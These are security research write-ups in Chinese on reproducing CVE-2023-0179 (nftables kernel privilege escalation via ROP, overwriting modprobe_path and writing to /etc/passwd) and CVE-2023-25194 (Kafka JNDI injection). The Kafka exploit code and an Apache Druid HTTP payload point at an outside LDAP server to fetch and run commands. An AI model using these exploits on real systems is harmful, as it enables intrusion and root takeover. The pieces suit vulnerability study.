CVE-2023-0179提权利用
前言
在https://mp.weixin.qq.com/s/SnPaqVJ7HyQ4yur6p5dhLg中,分析了漏洞的成因,接下来分析漏洞的利用。
漏洞利用
根据漏洞成因可以知道,payload_eval_copy_vlan函数存在整型溢出,导致我们将vlan头部结构拷贝到寄存器(NFT_REG32_00-NFT_REG32_15),而该变量时存在与栈上的,因此可以覆盖栈上的其余变量的。
可以发现regs变量是无法覆盖到返回地址。
因此我们需要观察源码,jumpstack变量是在regs变量下方
我们可以通过溢出regs变量覆盖到jumpstack变量。
那么接下来需要观察一下nft_jumpstack结构体中存在哪些变量
struct nft_jumpstack {
const struct nft_chain *chain;
const struct nft_rule_dp *rule;
const struct nft_rule_dp *last_rule;
};
chain:用于指定在哪个流程进行hook
rule:以什么样的规则处理数据包
last_rule:规则可能不止一条,因此last_rule用于指向最后一条规则
nft_jumpstack结构体在nft_do_chain函数的作用如下,当状态寄存器被设置为JUMP条件时,意味着需要跳转到其他chain进行处理,因此需要先保存当前chain的状态,这里与函数调用时保存栈时的处理一样,估计因此才命名为jumpstack。并且使用一个全局变量stackptr用于确定保存的chain的先后顺序。在保存完之后,就跳转到目的chain,目的chain则是存储在regs.verdict.chain中。
...
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rule = nft_rule_next(rule);
jumpstack[stackptr].last_rule = last_rule;
stackptr++;
case NFT_GOTO:
chain = regs.verdict.chain;
goto do_chain;
...
还原chain的过程如下,通过递减stackptr来取出存储在jumpstack变量中存储的chain、rule、lastrule,然后就会跳转到next_rule对还原的rule,进行rule的解析,这里需要注意的是在遍历rule的时候,循环是通过rule < last_rule进行遍历的,因此我们在后续伪造last_rule的时候需要大于rule,否则是无法进入循环内部的。
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) {
nft_rule_dp_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
...
if (stackptr > 0) {
stackptr--;
chain = jumpstack[stackptr].chain;
rule = jumpstack[stackptr].rule;
last_rule = jumpstack[stackptr].last_rule;
goto next_rule;
}
...
紧接着来看一下nft_rule_dp结构体,可以发现第一个八个字节是一些标志位组成的,而后续的八个字节则是用于存储nft_expr结构体的指针。
struct nft_rule_dp {
u64 is_last:1,
dlen:12,
handle:42; /* for tracing */
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
然后可以看到nft_expr结构体里存储了函数指针,如果我们能够篡改该函数指针就可以劫持程序流程。
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
然后在这篇文章https://www.ctfiot.com/100156.html学习到了一个小技巧。使用ptype /o struct xxx就可以看到具体的结构体信息与偏移。
因此构造的流程如下,首先我们通过漏洞溢出到nft_jumpstack结构体,并且修改rule变量为可控内容的地址同时需要将lastrule的值篡改为比rule更大的值,原因上述已经说过。紧接着在可控内容中伪造一个nft_rule_dp结构体,第一个八字节是填充位,而第二个八字节是需要伪造的函数表指针,同样的我们也将该指针篡改为可控内容的地址,然后再该地址处伪造nft_expr,并且将ops变量指向我们想要执行的函数即可。
通过上述分析已经知道了该如何通过漏洞完成程序流程的劫持,接下来需要分析如果伪造上述几个结构体。
首先在nft_payload_copy_vlan函数中,漏洞点是将vlan头的数据拷贝到指定的寄存器里面,而vlan头的地址是低于寄存器的地址,这就会导致在拷贝完vlan头后会将寄存器中的值也进行拷贝的操作,而寄存器的值我们是能人为控制的,因此就可以完成伪造的操作。
可以看到我们对NFT_REG32_00的赋值会覆盖到jumpstack[7].rule的值,完成了对jumpstack结构体的篡改,这里我们可以通过NFT_REG32_00 - NFT_REG32_15进行赋值,紧接着查看jumpstack哪个值是被赋值。就可以知道哪个jumpstack可以被篡改。
由于我们可以控制regs变量的值,我们可以首先泄露regs的地址,然后在regs上伪造rule即可。然后expr重新指向为jumpstack即可,这里采用了一个小技巧就是将last_rule设置为一个函数地址,由于函数地址的值是大于regs变量的地址值的,因此我们可以节约八个字节。
但是这里有个问题就是我们只能控制八个字节的函数指针,因此是无法构造一个完整的ROP链的,而内核并不存在像用户态下有one_gadget可以只利用八个字节就能完成利用,因此在这里必须使用栈迁移,迁移的目的是一段可以控制的内存,那么这里选用的目的自然就是regs了。那么该如何找栈迁移的gadget呢?,这里我首先采用的使用利用vmlinux-to-elf将bzImage的符号表提取出来,然后寻找对应的gadget,gadget类型如下
mov rsp,xxx
push xxx;pop rsp
add rsp,xxx
xchg rsp,xxx
上述指令都可以修改rsp寄存器,完成栈迁移的效果。
首先通过vmlinux-to-elf ./bzImage ./vmlinux去提取出符号表
然后通过ropper进行gadget的提取,ropper --file ./vmlinux --nocolor > g
最后这在搜索gadget,cat g | grep 'add rsp.*ret',但是通过尝试发现下述的地址都没办法使用,因为下述地址都不具备可执行的权限。
然后尝试了搜索上述所有的gadget,我都没有找到可以用的gadget,唯一比较接近的gadget是pop rsi的,但是无法控制rsi的寄存器,其实这里一开始我使用的镜像是自己编译的,这里搜索的gadget是需要控制rdi寄存器的,经过多次尝试无果后才使用了作者的config文件重新编译发现还是不可行。
其实我们在编译内核文件时是存在vmlinux文件的,但是那个文件十分的大,使用ropper工具无法分析,就在我准备放弃的时候,想到使用objdump工具进行gadget的提取
使用objdump -d -M intel vmlinux > ./gadget.txt
-d是dump代码
-M是指定汇编代码的格式
objdump提取的速度非常快,提取代码如下,但是它没有ropper搜索gadget那么方便,但是会全的多
这里我首先尝试了搜索栈迁移的gadget,cat gadget.txt | grep -E 'add rsp.*'
可以发现有非常多的匹配的gadget,接着我们在gdb中验证可以使用的gadget,通常在栈进行还原的时候会用到add rsp,xxx,因此都是有效的gadget,然后就是计算栈顶与resg函数地址的差值找到相应的栈迁移gadget即可。
接下就是考虑如何进行提权的利用了,虽然我们可以控制regs但是可控的范围也只有0x40是不足于采用commit_creds(prepare_kernel_cred(0))设置root凭证然后返回到用户空间执行后门的。那么相当的一个办法就是通过覆盖modprobe_path进行提权。这里我找了下列gadget进行modprobe_path的覆盖,将rdi设置为modprobe_path,rax设置为覆盖后的路径即可。
0xffffffff810d1e6b: mov qword ptr [rdi], rax; ret;
0xffffffff81004165: pop rdi; pop rbp; ret
最后就是覆盖完modprobe_path该如何返回到用户态,因为modprobe_path的提权需要在用户态下执行非法文件头的文件,这里作者采用的是将栈还原,通过在rbp中的地址值覆盖会rsp中即可,采用下述gadget
0xffffffff810b47f0: mov rsp, rbp; pop rbp; ret;
但是在我的环境下直接返回不行,这是因为在返回到nf_hook_slow函数时,有对状态码的一个检验,而在上述覆盖modprobe_path时,我们设置了rax值,就导致无法将状态码设置成合法值。那分支就会跳转到default,导致报错。在尝试搜索了gadget之后,可以将rax设置为0,但是这回进入到NF_DROP分支 中,但是此时skb变量也被我们破坏了,无法正常执行。
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
for (; s < e->num_hook_entries; s++) {
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
return ret;
case NF_QUEUE:
ret = nf_queue(skb, state, s, verdict);
if (ret == 1)
continue;
return ret;
default:
/* Implicit handling for NF_STOLEN, as well as any other
* non conventional verdicts.
*/
return 0;
}
}
return 1;
}
在尝试很久之后,最终放弃正常返回的这个选项,然后我在rbp中搜索是否有合适的返回地址。最后在rbp中我找到了一个do_softirq函数
该函数是一个软中断处理的函数,当时我就猜想,如果这个函数返回了,应该不会影响程序的执行。
尝试运行之后,发现还是有内核异常,顿时有点失望。
但是在操控命令行的时候是能够正常输入命令的,说明我们成功返回到用户态了。
最后就是查看是否将新用户写入到/etc/passwd中了,最终完成写入。完结撒花!。
完整exp可以参考https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179(nftables)/poc.c
Kafka JNDI 注入分析(CVE-2023-25194)
Apache Kafka Clients Jndi Injection
漏洞描述
Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。
影响范围
2.4.0 <= Apache Kafka <= 3.3.2
前置知识
Kafka 是什么
Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。
感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。
Kafka 客户端 SASL JAAS 配置
简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。
Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点
参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。
服务端配置
1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下
KafkaServer {
org.apache.kafka.common.security.plain.PlainLoginModule required
username="eystar"
password="eystar8888"
user_eystar="eystar8888"
user_yxp="yxp-secret";
};
说明:
username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。
user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX”
2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下
if [ "x$KAFKA_OPTS" ]; then
export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"
fi
https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config客户端配置
基本同服务端一致,如下步骤
1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf
KafkaClient {
org.apache.kafka.common.security.plain.PlainLoginModule required
username="eystar"
password="eystar8888";
};
2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config
sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
username="eystar" \
password="eystar8888";
// 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
”);
Kafka 客户端动态修改 JAAS 配置
方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下
loginModuleClass controlFlag (optionName=optionValue)*;
其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module
//安全模式 用户名 密码
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");
方式二:设置系统属性参数
// 指定kafka_client_jaas.conf文件路径
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf";
System.setProperty("java.security.auth.login.config", confPath);
实现代码
消费者
public class TestComsumer {
public static void main(String[] args) {
Properties props = new Properties();
props.put("bootstrap.servers", "192.168.1.176:9092");
props.put("group.id", "test_group");
props.put("enable.auto.commit", "true");
props.put("auto.commit.interval.ms", "1000");
props.put("key.deserializer",
"org.apache.kafka.common.serialization.StringDeserializer");
props.put("value.deserializer",
"org.apache.kafka.common.serialization.StringDeserializer");
// sasl.jaas.config的配置
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");
KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);
consumer.subscribe(Arrays.asList("topic_name"));
while (true) {
try {
ConsumerRecords<String, String> records = consumer.poll(Duration
.ofMillis(100));
for (ConsumerRecord<String, String> record : records)
System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",
record.offset(), record.partition(), record.key(), record.value());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
生产者
public class TestProduce {
public static void main(String args[]) {
Properties props = new Properties();
props.put("bootstrap.servers", "192.168.1.176:9092");
props.put("acks", "1");
props.put("retries", 3);
props.put("batch.size", 16384);
props.put("buffer.memory", 33554432);
props.put("linger.ms", 10);
props.put("key.serializer",
"org.apache.kafka.common.serialization.StringSerializer");
props.put("value.serializer",
"org.apache.kafka.common.serialization.StringSerializer");
//sasl
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");
Producer<String, String> producer = new KafkaProducer<>(props);
/**
* ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,
* 第二个:对于生产者kafka2.0需要你指定一个key
* ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息
*/
try {
producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
漏洞复现
漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处
理顺逻辑很容易构造出 EXP
import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;
import java.util.Properties;
public class EXP {
public static void main(String[] args) throws Exception {
Properties properties = new Properties();
properties.put("bootstrap.servers", "127.0.0.1:1234");
properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");
properties.put("sasl.mechanism", "PLAIN");
properties.put("security.protocol", "SASL_SSL");
properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
"required " +
"user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +
"useFirstPass=\"true\" " +
"group.provider.url=\"xxx\";");
KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);
kafkaConsumer.close();
}
}
漏洞分析
前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。
继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法
跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。
跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。
跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进
这里会调用 JndiLoginModule 的 initialize() 方法
初始化完成之后,此处调用 JndiLoginModule 的 login() 方法,最后到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。
漏洞修复
在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单
org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed
private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {
Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());
String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();
if (disallowedLoginModuleList.contains(loginModuleName)) {
throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);
}
}
Apache Druid RCE via Kafka Clients
影响版本:Apache Druid <= 25.0.0
Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE
有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE
漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka
在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload
POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close
{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dim
在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程
而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置
Apache Druid 26.0.0 更新了 kafka 依赖的版本
https://github.com/apache/druid/blob/26.0.0/pom.xml#L79
Nftables整型溢出(CVE-2023-0179)
前言
Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因
漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。
代码细节如下:
nft_payload_copy_vlan
#define VLAN_HLEN 4 /* The additional bytes required by VLAN
* (in addition to the Ethernet header)
*/
#define VLAN_ETH_HLEN 18 /* Total octets in header. */
/*
* d表示目的寄存器
* skb通常是网络协议栈的缓存区
* offset为数据包的偏移量
* len为拷贝的长度
*/
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移
u8 *vlanh, *dst_u8 = (u8 *) d;
struct vlan_ethhdr veth;
u8 vlan_hlen = 0;
/*
IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tag
IEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网
*/
if ((skb->protocol == htons(ETH_P_8021AD) ||
skb->protocol == htons(ETH_P_8021Q)) &&
offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
vlan_hlen += VLAN_HLEN;
vlanh = (u8 *) &veth;
if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
u8 ethlen = len; //拷贝的长度
if (vlan_hlen &&
skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
return false;
else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
return false;
if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
//ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
//ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
//ethlen = VLAN_ETH_HELN - vlan_hlen - offset
//ethlen = 14 - offset
//如果offset > 14 则会造成 ethlen溢出
memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节
len -= ethlen;
if (len == 0)
return true;
dst_u8 += ethlen;
offset = ETH_HLEN + vlan_hlen;
} else {
offset -= VLAN_HLEN + vlan_hlen;
}
return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}
该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时
这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。
那么当offset = 19而len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出)
环境搭建
这里采用的是qemu + linux6.16内核进行环境的搭建。 作者创建虚拟网络设备的脚本如下
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh#!/bin/sh
# create the peer virtual device
ip link add eth0 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth0 up
ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan id 10
ip addr add 192.168.147.137/24 dev vlan.10
ip link set vlan.5 up
ip link set vlan.10 up
ip link set lo up
# create a bridge to enable hooks
ip link add name br0 type bridge
ip link set dev br0 up
ip link set eth0 master br0
ip addr add 192.168.157.137/24 dev br0
可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示:
void nft_payload_eval(const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_pktinfo *pkt)
{
const struct nft_payload *priv = nft_expr_priv(expr);
const struct sk_buff *skb = pkt->skb;
u32 *dest = ®s->data[priv->dreg];
int offset;
if (priv->len % NFT_REG32_SIZE)
dest[priv->len / NFT_REG32_SIZE] = 0;
switch (priv->base) {
case NFT_PAYLOAD_LL_HEADER: //数据链路层
if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头
goto err;
if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志
if (!nft_payload_copy_vlan(dest, skb,
priv->offset, priv->len))
goto err;
return;
}
offset = skb_mac_header(skb) - skb->data;
break;
...
因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook的时候只需要hook一个点就行,设置vlan接口是因为只有vlan的数据包才能够进入nft_payload_copy_vlan函数的流程内,而在vlan.5上再次创建一个vlan接口是因为使得数据包能够加入双层vlan tag,这样可以通过IEEE 8021AD协议传输。
但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定vlan的类型为IEEE 8021AD,因此修改了一下脚本。
#!/bin/sh
# create the peer virtual device
ip link add eth32 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth32 up
#ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan protocol 802.1ad id 10
#ip addr add 192.168.147.137/24 dev vlan.5
ip link set vlan.5 up
ip link set lo up
ip link set vlan.10 up
指定协议之后,数据包的协议也被为IEEE 8021AD了
至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。
漏洞验证
可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置
nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)。
...
if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL))
{
perror("[-] create table");
exit(-1);
}
/* 2. create chain */
printf("[2] create chain\n");
struct unft_base_chain_param up;
up.hook_num = NF_NETDEV_INGRESS;
up.prio = INT_MIN;
if (create_chain(nl, table_name, chain_name, NFPROTO_NETDEV, &up, &seq, NULL, dev_name))
{
perror("[-] create chain");
exit(-1);
}
...
然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);
可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。
可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。
为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下:
//创建集合
struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
{
struct nftnl_set *s = NULL;
s = nftnl_set_alloc();
if (s == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
/* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
* should place these datatypes in a public header so third party
* applications still work with nftables.
*/
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据
nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据
nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP); //以map存储数据
return s;
}
在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下:
void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
{
struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值
nftnl_rule_add_expr(r, expr);
}
